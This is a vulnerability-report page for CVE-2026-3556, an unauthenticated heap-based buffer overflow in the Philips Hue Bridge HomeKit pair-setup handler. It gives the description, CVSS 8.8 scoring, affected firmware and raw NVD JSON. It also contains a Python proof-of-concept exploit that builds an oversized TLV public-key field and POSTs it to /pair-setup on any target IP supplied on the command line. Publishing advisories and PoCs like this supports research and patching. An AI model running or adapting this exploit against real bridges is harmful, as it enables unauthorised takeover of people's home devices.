Security Vulnerability Report
中文
CVE-2026-3556 CVSS 8.8 HIGH

CVE-2026-3556

Published: 2026-03-16 14:19:49
Last Modified: 2026-04-27 14:49:32

Description

Philips Hue Bridge HomeKit Pair-Setup Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability. The specific flaw exists within the hk_hap_pair_storage_put function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the HomeKit service. Was ZDI-CAN-28326.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Philips Hue Bridge (具体版本需参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-3556 PoC - Philips Hue Bridge Heap-based Buffer Overflow RCE Note: This is a conceptual PoC for educational and security research purposes only. Unauthorized exploitation of this vulnerability is illegal. """ import socket import struct import sys from Crypto.Cipher import AES def create_malicious_pair_setup_payload(): """ Create a malicious HomeKit Pair-Setup payload that triggers heap overflow in hk_hap_pair_storage_put function """ # HomeKit TLV types TLV_METHOD = 0x00 TLV_PUBLIC_KEY = 0x03 TLV_AUTH_TAG = 0x06 TLV_SEQUENCE = 0x07 TLV_ERROR_CODE = 0x08 TLV_FLAG = 0x09 # Construct malformed TLV payload with oversized data payload = bytearray() # Add method (M1/M3/M5) payload.extend([TLV_SEQUENCE, 0x01, 0x03]) # Sequence number # Add public key - THIS IS THE MALICIOUS PART # Craft oversized data that exceeds buffer bounds oversized_data = b'A' * 1024 # Exceed expected buffer size payload.extend([TLV_PUBLIC_KEY, len(oversized_data) // 256, len(oversized_data) % 256]) payload.extend(oversized_data) # Add flags payload.extend([TLV_FLAG, 0x01, 0x01]) return bytes(payload) def send_exploit(target_ip, target_port=8080): """ Send the exploit payload to Philips Hue Bridge """ print(f"[*] Targeting {target_ip}:{target_port}") print("[*] Crafting malicious Pair-Setup payload...") payload = create_malicious_pair_setup_payload() # Construct HTTP request for HomeKit Pair-Setup http_payload = ( b'POST /pair-setup HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b':8080\r\n' b'Content-Type: application/pairing+tlv8\r\n' b'Content-Length: ' + str(len(payload)).encode() + b'\r\n' b'\r\n' ) + payload try: print("[*] Sending exploit payload...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) sock.send(http_payload) response = sock.recv(4096) print(f"[*] Received response: {response[:100]}...") sock.close() print("[+] Payload sent successfully") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3556", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:48.663", "lastModified": "2026-04-27T14:49:31.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge HomeKit Pair-Setup Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the hk_hap_pair_storage_put function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the HomeKit service. Was ZDI-CAN-28326."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el Pair-Setup de HomeKit de Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Philips Hue Bridge. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función hk_hap_pair_storage_put. El problema se debe a la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer de longitud fija basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del servicio HomeKit. Fue ZDI-CAN-28326."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-154/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}